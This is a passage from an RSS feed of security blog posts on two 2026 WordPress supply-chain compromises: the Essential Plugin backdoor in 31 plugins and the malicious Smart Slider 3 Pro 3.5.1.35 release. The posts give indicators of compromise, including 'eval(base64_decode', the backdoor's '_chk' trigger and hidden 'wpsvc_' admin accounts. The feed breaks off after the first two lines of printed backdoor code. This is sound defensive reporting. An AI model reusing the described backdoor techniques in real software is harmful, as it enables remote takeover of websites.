&lt;p&gt;WordPress.org responded on April 7, 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Issued a dashboard security notice to affected site owners&lt;/li&gt;
&lt;li&gt;Permanently closed all 31 Essential Plugin plugins (they cannot be reinstalled from the directory)&lt;/li&gt;
&lt;li&gt;Force-pushed version 2.6.9.1 on April 8, which added &lt;code&gt;return;&lt;/code&gt; statements to disable the phone-home function&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The problem: &lt;strong&gt;the forced update does not clean &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/strong&gt;. If your site was compromised before April 8, the SEO spam injection is still sitting in your configuration file. The update stops the phone-home, but it does not undo what already happened.&lt;/p&gt;
&lt;p&gt;Remove these plugins entirely. They are dead. WordPress.org will never reopen them, and v2.6.9.1 is a bandaid on a corpse. Find alternatives for anything you were using them for.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The forced update does not clean existing infections.&lt;/p&gt;
  &lt;p&gt;WordPress.org&apos;s v2.6.9.1 disables the backdoor module but leaves injected code in wp-config.php untouched. If any of these plugins were active on your site before April 8, 2026, you must manually inspect wp-config.php for injected PHP code near the &lt;code&gt;require_once ABSPATH . &apos;wp-settings.php&apos;&lt;/code&gt; line. Infected files grow by approximately 6KB.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How WordPress.org Could Have Prevented This&lt;/h2&gt;
&lt;p&gt;WordPress.org does have a &lt;a href=&quot;https://developer.wordpress.org/plugins/wordpress-org/transferring-your-plugin-to-a-new-owner/&quot;&gt;plugin ownership transfer process&lt;/a&gt;. For plugins under 10,000 users, the current owner can transfer via self-service. For larger plugins, the current owner emails &lt;code&gt;plugins@wordpress.org&lt;/code&gt; and the team verifies the request is legitimate.&lt;/p&gt;
&lt;p&gt;The gap is what happens after the transfer. WordPress.org checks that the current owner authorised it, but does not vet the new owner, does not review their first code commit, and does not notify existing users that the plugin changed hands. The buyer in this case created a fresh WordPress.org account, received SVN access to 31 plugins, and committed a backdoor on day one. The transfer process worked exactly as designed. It just was not designed for this.&lt;/p&gt;
&lt;p&gt;Apple requires a full re-review when an iOS app changes ownership. Google Play has a developer verification process. WordPress.org verifies the seller wants to sell, but not whether the buyer should be trusted with the code.&lt;/p&gt;
&lt;p&gt;A change-of-control notification to existing users and a mandatory code review on the new owner’s first commit would have caught this.&lt;/p&gt;
&lt;h2&gt;How to Check Your WordPress Sites for the Essential Plugin Backdoor with mySites.guru&lt;/h2&gt;
&lt;p&gt;If you manage more than a handful of WordPress sites, checking each one by hand is a waste of a day. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension inventory&lt;/a&gt; tracks every installed plugin across all connected sites. We found dozens of affected sites across the platform and have already contacted every customer running one of these plugins.&lt;/p&gt;
&lt;p&gt;Use the search links below to check your own portfolio. Each link opens the mySites.guru extension search page filtered for that specific plugin, showing you every site where it is installed and which version is running:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru extension search showing Countdown Timer Ultimate installed across multiple sites with version and vulnerability status&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3194px) 3194px, 100vw&quot; width=&quot;3194&quot; height=&quot;1872&quot; src=&quot;https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_sXABT.webp&quot; srcset=&quot;https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_ZJQ6SM.webp 640w, https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_Z2bh7U3.webp 750w, https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_Z1Aruzs.webp 828w, https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_ZOHMwS.webp 1080w, https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_698Qg.webp 1280w, https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_Z1nIgYL.webp 1668w, https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_Z1LkWaJ.webp 2048w, https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_Z1W3MFw.webp 2560w, https://mysites.guru/_astro/essential-plugin-extension-search.BZkMnrS6_sXABT.webp 3194w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: search your sites for affected plugins&lt;/p&gt;
  &lt;p&gt;Already have a &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;mySites.guru account&lt;/a&gt;? Click any plugin name below to jump straight to your extension search, filtered for that plugin across all your connected sites. If you find any, remove the plugin and inspect wp-config.php for injected code.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/45a50565dc1c75f1437bbd5d25d5af01&quot;&gt;Countdown Timer Ultimate&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a5365afa386298ea688d8231726681e5&quot;&gt;Popup Anything on Click&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/60965c37bf75d6293cdf4096bd1a8652&quot;&gt;WP Testimonial with Widget&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/e2b40fc931beb0e76f27e214006297e4&quot;&gt;WP Team Showcase and Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/b4e5fd1c621de641b734100371fe7693&quot;&gt;SP News and Widget&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/7fa6a74f10d99a26c880cc301bd4d922&quot;&gt;WP Blog and Widgets&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a043739a9d1ed051f7c55b2841d847c0&quot;&gt;Timeline and History Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/293b4130ce1df44b2e587d30464ed71a&quot;&gt;Post Grid and Filter Ultimate&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/af3f533cc62094b7d5b64d769b2d120c&quot;&gt;Footer Mega Grid Columns&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/eb6adfa2d3bedc394d4115c1350c1bad&quot;&gt;WP Responsive Recent Post Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/b33a741586fb549fbff00de73b1bb03f&quot;&gt;WP Slick Slider and Image Carousel&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/09009231949da661713d591924f6504b&quot;&gt;Hero Banner Ultimate&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/17c37d26a9d7095480f536e8c4b097d9&quot;&gt;Accordion and Accordion Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/efa319ba16e868174e417e60180dafbe&quot;&gt;Post Category Image with Grid and Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/397b497bd72e83209279459fe9ad4440&quot;&gt;Product Categories Designs for WooCommerce&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/ed05148cf6ee8636779581ad7f7b4548&quot;&gt;Meta Slider and Carousel with Lightbox&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a2d23ba901c34db8fa34dd974dfe8402&quot;&gt;WooCommerce Product Slider and Carousel&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;The following plugins from the affected list have never appeared on any mySites.guru-monitored site: Album and Image Gallery plus Lightbox, Audio Player with Playlist Ultimate, Blog Designer for Post and Widget, Featured Post Creative, HTML5 VideoGallery Plus Player, Portfolio and Projects, Preloader for Website, Responsive WP FAQ with Category, SlidersPack - All in One Image Sliders, Styles for WP PageNavi - Addon, Ticker Ultimate, WP Featured Content and Slider, WP Logo Showcase Responsive Slider and Carousel, WP Trending Post Slider and Widget.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt;, you can identify and act on every affected site in your portfolio in minutes rather than spending a day logging into sites one by one.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h3&gt;What to look for manually&lt;/h3&gt;
&lt;p&gt;If you are checking a single site by hand, look for these three things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check wp-config.php&lt;/strong&gt;: Open the file and look for unexpected PHP code near the &lt;code&gt;require_once ABSPATH . &apos;wp-settings.php&apos;&lt;/code&gt; line. Infected files grow by approximately 6KB.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search for wp-comments-posts.php&lt;/strong&gt;: This file should not exist in a clean WordPress installation. Check the webroot.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search your plugins directory&lt;/strong&gt;: Look for any of the 31 affected plugin slugs listed below. If any are present, remove them regardless of version.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;The Full List of Affected WordPress Plugins&lt;/h2&gt;
&lt;p&gt;All 31 plugins from the Essential Plugin (WP Online Support) portfolio that WordPress.org permanently closed on April 7, 2026:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Countdown Timer Ultimate (&lt;code&gt;countdown-timer-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Popup Anything on Click (&lt;code&gt;popup-anything-on-click&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Testimonial with Widget (&lt;code&gt;wp-testimonial-with-widget&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Team Showcase and Slider (&lt;code&gt;wp-team-showcase-and-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Responsive WP FAQ with Category (&lt;code&gt;sp-faq&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;SP News and Widget (&lt;code&gt;sp-news-and-widget&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Blog and Widgets (&lt;code&gt;wp-blog-and-widgets&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Album and Image Gallery plus Lightbox (&lt;code&gt;album-and-image-gallery-plus-lightbox&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Timeline and History Slider (&lt;code&gt;timeline-and-history-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Featured Post Creative (&lt;code&gt;featured-post-creative&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Post Grid and Filter Ultimate (&lt;code&gt;post-grid-and-filter-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Footer Mega Grid Columns (&lt;code&gt;footer-mega-grid-columns&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Responsive Recent Post Slider (&lt;code&gt;wp-responsive-recent-post-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Slick Slider and Image Carousel (&lt;code&gt;wp-slick-slider-and-image-carousel&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Featured Content and Slider (&lt;code&gt;wp-featured-content-and-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Hero Banner Ultimate (&lt;code&gt;hero-banner-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Preloader for Website (&lt;code&gt;preloader-for-website&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Accordion and Accordion Slider (&lt;code&gt;accordion-and-accordion-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Portfolio and Projects (&lt;code&gt;portfolio-and-projects&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Ticker Ultimate (&lt;code&gt;ticker-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Trending Post Slider and Widget (&lt;code&gt;wp-trending-post-slider-and-widget&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Woo Product Slider and Carousel with Category (&lt;code&gt;woo-product-slider-and-carousel-with-category&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Audio Player with Playlist Ultimate (&lt;code&gt;audio-player-with-playlist-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Meta Slider and Carousel with Lightbox (&lt;code&gt;meta-slider-and-carousel-with-lightbox&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Post Category Image with Grid and Slider (&lt;code&gt;post-category-image-with-grid-and-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Product Categories Designs for WooCommerce (&lt;code&gt;product-categories-designs-for-woocommerce&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Blog Designer for Post and Widget (&lt;code&gt;blog-designer-for-post-and-widget&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;HTML5 VideoGallery Plus Player (&lt;code&gt;html5-videogallery-plus-player&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;SlidersPack - All in One Image Sliders (&lt;code&gt;sliderspack-all-in-one-image-sliders&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Styles for WP PageNavi - Addon (&lt;code&gt;styles-for-wp-pagenavi-addon&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Logo Showcase Responsive Slider and Carousel (&lt;code&gt;wp-logo-showcase-responsive-slider-slider&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Indicators of Compromise&lt;/h2&gt;
&lt;p&gt;If any of the 31 plugins above were active on your site before April 8, 2026, check for these indicators:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Indicator&lt;/th&gt;&lt;th&gt;What to look for&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;wp-config.php injection&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Unexpected PHP code near &lt;code&gt;require_once ABSPATH . &apos;wp-settings.php&apos;&lt;/code&gt;. File size increases by ~6KB.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;wp-comments-posts.php&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;This file should not exist in a clean WordPress installation. Check the webroot.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;SEO spam (Googlebot only)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;View your site as Googlebot using &lt;code&gt;site:yourdomain.com&lt;/code&gt; in Google. Look for spam pages, redirected search results, or pharmaceutical/gambling content.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Unauthenticated REST endpoint&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;The backdoor registers a REST API route with &lt;code&gt;permission_callback: __return_true&lt;/code&gt;. Check for unexpected REST routes.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;analytics.essentialplugin.com&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Search server access logs for outbound connections to this domain.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;If you find any of these indicators, the site was actively compromised. Do not just remove the plugin. Clean &lt;code&gt;wp-config.php&lt;/code&gt;, remove &lt;code&gt;wp-comments-posts.php&lt;/code&gt;, scan all files for additional payloads, and rotate all admin credentials.&lt;/p&gt;
&lt;h2&gt;Why This Is Not a Normal WordPress Vulnerability&lt;/h2&gt;
&lt;p&gt;With a normal vulnerability, you patch it and move on. This is not that. The attacker did not find a bug. They bought the plugin, got official commit access, and WordPress.org distributed their malware for eight months.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro compromise&lt;/a&gt; hit the same week via a different route (update server breach rather than acquisition). Two supply chain attacks in one week, both exploiting trust in the official update channel.&lt;/p&gt;
&lt;p&gt;If you manage client sites, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change monitoring&lt;/a&gt; catches bad changes regardless of how they arrive. It does not matter whether the source is a compromised update, a bought plugin, or a direct exploit. The file change is what you catch. The eight-month dormancy here is the same trap as any &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;second-wave compromise where the damage appears long after the initial breach&lt;/a&gt;: a one-time scan during the quiet period finds nothing, so only continuous monitoring sees the moment it wakes up.&lt;/p&gt;
&lt;h2&gt;Credit&lt;/h2&gt;
&lt;p&gt;Austin Ginder at &lt;a href=&quot;https://anchor.host/&quot;&gt;Anchor Hosting&lt;/a&gt; found this through forensic work on a client site. His &lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;full writeup&lt;/a&gt; walks through the entire investigation, including how he binary-searched 939 backup snapshots to narrow the injection window to under 7 hours. Worth reading in full.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2025-05-12&lt;/strong&gt; A new account gets commit access to all 31 plugins A buyer going by &quot;Kris&quot; had picked up the Essential Plugin portfolio, formerly WP Online Support, on Flippa for a six-figure sum. An essentialplugin account appears on WordPress.org with SVN commit access to the lot.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-08-08&lt;/strong&gt; The buyer&apos;s first code commit is the backdoor Version 2.6.7, changelog &quot;Check compatibility with WordPress version 6.8.2&quot;. In reality it added 191 lines of backdoor code hidden inside the plugin&apos;s existing analytics module.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-05&lt;/strong&gt; After eight months of nothing, it wakes up The attacker&apos;s server had returned normal responses since August. It flips to serving malicious payloads and injects SEO spam into wp-config.php across every site running any of the affected plugins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-07&lt;/strong&gt; WordPress.org closes all 31 plugins permanently A dashboard security notice goes to affected site owners, and none of the 31 can be reinstalled from the directory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-08&lt;/strong&gt; A forced update stops the phone-home and cleans nothing WordPress.org force-pushes 2.6.9.1, which adds return statements to disable the phone-home function. It does not touch the injected code in wp-config.php, so any site compromised before this date still has it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;Someone Bought 30 WordPress Plugins and Planted a Backdoor in All of Them - Austin Ginder / Anchor Hosting&lt;/a&gt; - the original discovery report with full forensic methodology&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/plugins/wordpress-org/transferring-your-plugin-to-a-new-owner/&quot;&gt;Transferring Your Plugin to a New Owner - WordPress.org Developer Handbook&lt;/a&gt; - WordPress.org&apos;s current (minimal) plugin transfer process&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro 3.5.1.35 Supply Chain Compromise - mySites.guru&lt;/a&gt; - the other supply chain attack that hit the same week&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>malware</category><category>plugins</category><category>vulnerability</category><category>supply chain</category><category>backdoor</category><enclosure url="https://mysites.guru/img/og/blog/essential-plugin-wordpress-backdoor.png" length="0" type="image/png"/></item><item><title>Smart Slider 3 Pro 3.5.1.35 Was a Malicious Release: Supply Chain Compromise</title><link>https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/</link><guid isPermaLink="true">https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/</guid><description>Smart Slider 3 Pro 3.5.1.35 was a malicious release pushed through the official update channel. RCE backdoor, hidden admin users. Update to 3.5.1.36.</description><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last week we &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;wrote about CVE-2026-3098&lt;/a&gt;, an arbitrary file read vulnerability in Smart Slider 3 affecting 800,000 WordPress sites. The fix was to update to version 3.5.1.34.&lt;/p&gt;
&lt;p&gt;This week is worse. Much worse.&lt;/p&gt;
&lt;p&gt;Smart Slider 3 Pro version &lt;strong&gt;3.5.1.35&lt;/strong&gt; was a malicious release. Not a vulnerability, not a coding mistake, not a missed capability check. An unauthorized party pushed a backdoored build through Nextend’s own update infrastructure, and anyone who clicked “update plugin” between the release of 3.5.1.35 and its detection received working remote code execution as the web server user.&lt;/p&gt;
&lt;p&gt;This is a supply-chain attack. The kind every security team has nightmares about, where the official update channel itself becomes the malware delivery system. Nextend has acknowledged the breach in security advisories for both &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;WordPress&lt;/a&gt; and &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Joomla&lt;/a&gt;, pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean &lt;strong&gt;3.5.1.36&lt;/strong&gt; as the safe replacement.&lt;/p&gt;
&lt;p&gt;If your site updated to Smart Slider 3 Pro 3.5.1.35 at any point, treat it as compromised until proven otherwise.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Smart Slider 3 Pro 3.5.1.35&lt;/strong&gt; was a malicious release pushed via Nextend’s official update channel&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;both WordPress and Joomla&lt;/strong&gt; editions of Smart Slider 3 Pro (Nextend published separate advisories for each)&lt;/li&gt;
&lt;li&gt;Payload is a &lt;strong&gt;remote code execution backdoor&lt;/strong&gt;: a &lt;code&gt;_chk&lt;/code&gt; query parameter triggers shell or PHP execution from POST data&lt;/li&gt;
&lt;li&gt;Versions &lt;strong&gt;3.5.1.34 and earlier&lt;/strong&gt; are not affected. The safe replacement is &lt;strong&gt;3.5.1.36&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Indicators of compromise: hidden admin users starting with &lt;code&gt;wpsvc_&lt;/code&gt;, files named &lt;code&gt;cf_check.php&lt;/code&gt; in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt;, the strings &lt;code&gt;_wpc_ak&lt;/code&gt;, &lt;code&gt;eval(base64_decode&lt;/code&gt;, or &lt;code&gt;wpjs1.com&lt;/code&gt; in any PHP file&lt;/li&gt;
&lt;li&gt;Nextend’s &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;official cleanup script&lt;/a&gt; removes the known indicators&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;If your site ran 3.5.1.35, assume compromise.&lt;/p&gt;&lt;p&gt;A working remote code execution backdoor was active on every site that installed this release. Updating to 3.5.1.36 closes the door but does not remove anything the attacker placed before you closed it. You must run the indicator-of-compromise checks below and use Nextend’s cleanup script.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What Actually Happened to Smart Slider 3 Pro 3.5.1.35?&lt;/h2&gt;
&lt;p&gt;In Nextend’s own words from the &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;official advisory&lt;/a&gt;:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Nextend, official advisory&lt;/p&gt;&lt;div&gt;&lt;p&gt;A security breach occurred affecting the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version 3.5.1.35, which may have been installed on some websites before the issue was detected.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is the part that matters: the attacker did not exploit a bug in the plugin. They got into the update infrastructure itself. For the time window 3.5.1.35 was live, Nextend’s own update servers were serving a backdoored build to anyone who clicked update. Every defense that assumes the official update channel is trustworthy was bypassed by definition. Auto-updates pulled it. WordPress.org and the Joomla extension manager pulled it. Plugin update notifications recommended it. Anything checking signatures from Nextend would have validated it.&lt;/p&gt;
&lt;p&gt;Nextend has since pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean &lt;strong&gt;3.5.1.36&lt;/strong&gt; as the safe replacement. They have not yet published a post-incident report on how the attacker got in, how long they had access, or whether other releases were touched.&lt;/p&gt;
&lt;p&gt;Until that report exists, treat every site that ran 3.5.1.35 at any point as compromised.&lt;/p&gt;
&lt;h2&gt;How to Check Your Sites for Smart Slider 3 Pro 3.5.1.35 with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a supply-chain incident drops, the first question every agency asks is: “Which of my sites pulled the bad version?” If you manage 50 or 200 client sites, logging into each one and checking the plugin version is not viable. By the time you get through the list, the attacker has had hours of free access.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily extension snapshot&lt;/a&gt; records the exact version of every installed plugin and Joomla extension across every connected site. The extension search page lets you filter by version number in seconds:&lt;/p&gt;
&lt;p&gt;If you are already a mySites.guru subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot;&gt;Smart Slider 3 extension search page&lt;/a&gt; lists every installed version across all your connected sites, grouped by version number. Filter for 3.5.1.35 and you will see exactly which sites are exposed.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View all your Smart Slider 3 installations&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot;&gt;Open Smart Slider 3 Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every installed version across all your connected sites. Filter by 3.5.1.35 to find any compromised installations, or 3.5.1.34 to find sites that need to move forward to the clean 3.5.1.36.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt;, you can push 3.5.1.36 across every affected site in one batch. A supply-chain incident becomes a five-minute triage instead of a stressful afternoon.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h2&gt;What Does the Smart Slider 3 Pro 3.5.1.35 Backdoor Actually Do?&lt;/h2&gt;
&lt;p&gt;The malicious payload is small and clever. Here is the relevant code, formatted for readability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;add_action&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;init&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; ()&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $k&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; get_option&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;_wpc_ak&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
